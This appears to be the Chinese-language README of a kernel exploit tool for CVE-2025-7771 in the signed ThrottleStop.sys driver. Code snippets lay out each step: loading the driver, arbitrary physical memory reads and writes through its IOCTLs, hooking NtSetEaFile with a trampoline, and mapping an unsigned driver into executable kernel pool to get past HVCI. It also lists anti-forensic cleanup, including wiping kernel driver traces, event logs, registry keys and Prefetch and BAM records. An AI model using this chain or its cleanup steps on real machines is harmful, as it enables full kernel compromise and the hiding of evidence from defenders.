🔓 ThrottleStop.sys 内核漏洞 — 兼容 HVCI 的物理内存映射器

CVE-2025-7771 — 通过 ThrottleStop.sys IOCTL 实现任意物理内存读写

⚠️ 免责声明

本项目仅用于教育和研究目的。目的在于演示一个经过签名、受信任的内核驱动程序如何被武器化，用于从管理员权限提升至 SYSTEM/内核 权限，有效绕过包括 HVCI（超管理器强制代码完整性） 和 安全启动 在内的现代 Windows 安全功能。

请勿将此工具用于恶意目的。 作者对任何滥用行为不承担责任。

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📋 目录

• 漏洞概要
• 受影响软件
• 技术分析
  • 存在漏洞的 IOCTL
  • 根本原因
• 利用链
  • 步骤 1 — 加载存在漏洞的驱动程序
  • 步骤 2 — 物理内存原语
  • 步骤 3 — 定位系统调用页面
  • 步骤 4 — 通过物理写入挂钩系统调用
  • 步骤 5 — 任意内核代码执行
  • 步骤 6 — 取证清理
• 为何能绕过 HVCI
• 影响评估
• 构建与使用
• 缓解建议
• 参考资料

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漏洞概要

字段	详情
CVE	CVE-2025-7771
驱动程序	ThrottleStop.sys（随 ThrottleStop 一起发布）
供应商	TechPowerUp / Kevin Glynn
类型	任意物理内存读写
影响	本地权限提升（管理员 → 内核）
CVSS	8.2（高危）
签名	通过 WHQL / 证明进行 Microsoft 签名
绕过 HVCI	✅ 是 — 驱动程序已合法签名，被 CI 策略允许

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受影响软件

• ThrottleStop — 所有包含具有物理内存映射 IOCTL 的 ThrottleStop.sys 版本
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64)，包括启用了 HVCI 的版本
• 已在以下环境测试：Windows 11 26100.x (24H2)（含安全启动 + HVCI）

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技术分析

存在漏洞的 IOCTL

ThrottleStop.sys 内核驱动程序暴露了一个设备（\\.\ThrottleStop），任何本地管理员均可访问。它实现了两个提供无限制物理内存访问的 IOCTL：

#define IOCTL_TS_READ_PHYS   0x80006498   // 读取任意物理地址
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // 写入任意物理地址

读取物理内存（0x80006498）

输入： ULONG64 PhysicalAddress  (8 字节)
输出： 数据缓冲区              （每次调用 1–8 字节，由 OutputBufferLength 决定）

驱动程序调用 MmMapIoSpace() 将请求的物理地址映射到内核虚拟空间，将数据复制到输出缓冲区，然后调用 MmUnmapIoSpace()。对物理地址不执行任何验证 — 可以读取物理地址空间中的任何地址。

写入物理内存（0x8000649C）

输入： ULONG64 PhysicalAddress (8 字节) + 数据 (1–8 字节)
       InputBufferLength = 8 + DataSize
输出： 无

与读取相同的机制，但将用户提供的数据写入映射的物理地址。同样，没有地址或范围验证。

根本原因

该驱动程序旨在允许 ThrottleStop（一款 CPU 降压/节流工具）直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了实现对 PCI 配置空间或 CPU 温度传感器的 MMIO 访问而添加的，但实现中零边界检查：

1. ❌ 未检查物理地址是否属于 MMIO 或 RAM
2. ❌ 未检查地址是否在调用方预期的内存区域内
3. ❌ 除要求 GENERIC_READ | GENERIC_WRITE 句柄访问权限外，无 ACL 限制
4. ❌ 无允许的物理地址范围白名单

这会将一个合法的硬件工具驱动程序转变为完整的内核级读写原语。

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利用链

利用链从本地管理员账户提升到任意内核代码执行，实际上获得 SYSTEM 级别的 ring-0 控制权。

步骤 1 — 加载存在漏洞的驱动程序

映射器将 ThrottleStop.sys 释放到 %TEMP%，在 HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 下创建服务注册表项，然后通过 NtLoadDriver() 加载：

// 为当前进程启用 SeLoadDriverPrivilege
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// 创建指向释放的 .sys 文件的服务项
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// 通过 NtLoadDriver 加载
NtLoadDriver(&driver_reg_path_unicode);

// 打开设备句柄
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

注意： 由于 ThrottleStop.sys 已合法签名，即使启用了 HVCI/安全启动，它也能加载。Windows CI 策略信任该证书。

步骤 2 — 物理内存原语

有了设备句柄，漏洞利用程序可以读取/写入系统上的任何物理地址：

// 从物理地址 0x1000 读取 8 字节
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// 向物理地址写入 8 字节
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // 地址
*(ULONGLONG*)(input + 8) = shellcode_qword; // 数据
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

漏洞利用程序将这些封装到辅助函数中，以分块读取/写入（每次调用 1、2、4 或 8 字节）处理任意长度的传输。

步骤 3 — 定位系统调用页面

为了执行任意内核函数，漏洞利用程序需要找到内核系统调用处理程序的物理地址。它瞄准了 NtSetEaFile（一个很少被监控的系统调用）：

1. 解析 RVA：在用户态通过 LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) 加载 ntoskrnl.exe，获取 NtSetEaFile 的 RVA
2. 计算偏移量：由于 ntoskrnl 以 2MB 大页 映射，该函数在 2MB 页内的物理偏移 = RVA & 0x1FFFFF
3. 扫描物理内存：从注册表（HARDWARE\RESOURCEMAP\System Resources\Physical Memory）枚举物理内存范围，以 2MB 为步长，比较字节：

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // 快速检查
    {
        read_phys(candidate_pa, verify, 32);  // 完全验证
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // 找到了！
            // ... 通过 PsGetProcessSectionBaseAddress 验证
        }
    }
}

4. 验证：调用被挂钩的系统调用以触发 PsGetProcessSectionBaseAddress(current_pid)，并验证返回的基址是否与 GetModuleHandle(NULL) 匹配。

步骤 4 — 通过物理写入挂钩系统调用

一旦知道了 NtSetEaFile 的物理地址，漏洞利用程序直接通过物理内存写入安装一个 12 字节的 trampoline：

; 原始 NtSetEaFile 字节（已保存用于恢复）
; 替换为：
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// 安装挂钩
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <目标地址>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// 从用户态触发
NtSetEaFile(args...);  // → 跳转到内核中的 target_function！

// 恢复原始字节
write_phys(syscall_phys_addr, saved_bytes, 12);

关键洞察： 写入物理页面绕过了 HVCI 的虚拟内存保护。HVCI 阻止 W+X 虚拟页面，但驱动程序通过 MmMapIoSpace 进行的物理内存写入直接进入 RAM。

步骤 5 — 任意内核代码执行

有了系统调用挂钩原语，漏洞利用程序可以调用任何内核函数并传入任意参数：

// 分配可执行内核内存（HVCI 兼容）
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// 通过 RtlCopyMemory 将驱动程序映像复制到内核池
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// 调用驱动程序的 DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

这实际上在内核空间中映射并执行了一个未签名的驱动程序 — 完全提权。

步骤 6 — 取证清理

加载有效载荷后，漏洞利用程序清除所有痕迹：

痕迹	清理方法
PiDDB 缓存	解锁 PiDDBLock，通过 RtlLookupElementGenericTableAvl 在 AVL 树中找到条目，取消链接并删除
MmUnloadedDrivers	扫描 50 条目的循环缓冲区，将匹配的名称和条目清零
BigPoolTable	扫描 PoolBigPageTable 找到分配 VA，将条目清零
Pool 头部	将 POOL_HEADER 标签伪造为 MmSt（常见系统标签）
PE 头部	将内核分配中的 DOS/NT 头部、导入目录、调试目录、可丢弃节区清零
注册表	删除 HKLM\...\Services\ThrottleStop 键树
驱动程序文件	从 %TEMP% 删除 ThrottleStop.sys
事件日志	清除系统和安全日志中的相关条目
Prefetch / BAM	清理 ShimCache、BAM（后台活动调节器）和 Prefetch 痕迹

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为何能绕过 HVCI

HVCI（超管理器强制代码完整性） 通过二级地址转换（SLAT/EPT）对内核虚拟页面强制执行 W^X（写异或执行），防止未签名代码在内核空间中执行。

此漏洞利用绕过 HVCI 的原因是：

1. 合法驱动程序： ThrottleStop.sys 已正确签名并通过 CI 验证，因此即使 HVCI 处于活动状态，它也能正常加载。

2. 物理而非虚拟： IOCTL 使用 MmMapIoSpace()，它操作物理地址。HVCI 的保护是在虚拟页表级别并通过 EPT 强制执行的，但 MmMapIoSpace 为物理页面创建了一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射已指向的 RAM 内容。

3. 可执行池： 漏洞利用程序通过 ExAllocatePool2 并使用 POOL_FLAG_NON_PAGED_EXECUTE 分配内存，这是一种合法的、HVCI 认可的获取可执行内核内存的方式。内核本身将其用于 JIT 编译的代码和某些池分配。

4. 未加载未签名驱动程序： 映射器从不使用未签名映像调用 NtLoadDriver。相反，它手动将有效载荷写入一个已是可执行的内核池分配中，并通过系统调用挂钩调用其入口点。